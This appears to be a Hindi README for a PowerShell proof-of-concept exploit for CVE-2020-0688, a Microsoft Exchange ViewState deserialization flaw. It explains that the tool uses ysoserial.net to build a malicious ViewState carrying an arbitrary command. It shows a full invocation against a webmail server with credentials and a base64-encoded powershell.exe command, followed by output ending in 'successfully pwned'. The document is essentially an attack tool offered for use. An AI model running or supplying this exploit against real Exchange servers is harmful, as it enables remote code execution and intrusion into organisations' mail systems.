
Forgot2kEyXCHANGE (CVE-2020-0688) के लिए पावरशेल में लिखा गया प्रूफ ऑफ कॉन्सेप्ट
Forgot2kEyXCHANGE (CVE-2020-0688) के लिए PoC, PowerShell में लिखा गया
इस PoC के लिए एक मान्य उपयोगकर्ता नाम और पासवर्ड आवश्यक है।
यह PoC नए ViewState को बनाने के लिए ysoserial.net का उपयोग करता है, जिसमें आप -Command पैरामीटर पर निर्दिष्ट कमांड शामिल होता है। यदि आपके सिस्टम पर यह पहले से स्थापित नहीं है, तो इसे यहाँ से डाउनलोड करें।
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !
बेझिझक issues खोलें, योगदान दें और अपने Pull Requests सबमिट करें। आप मुझे Twitter (@JustinPerdok) पर भी पिंग कर सकते हैं।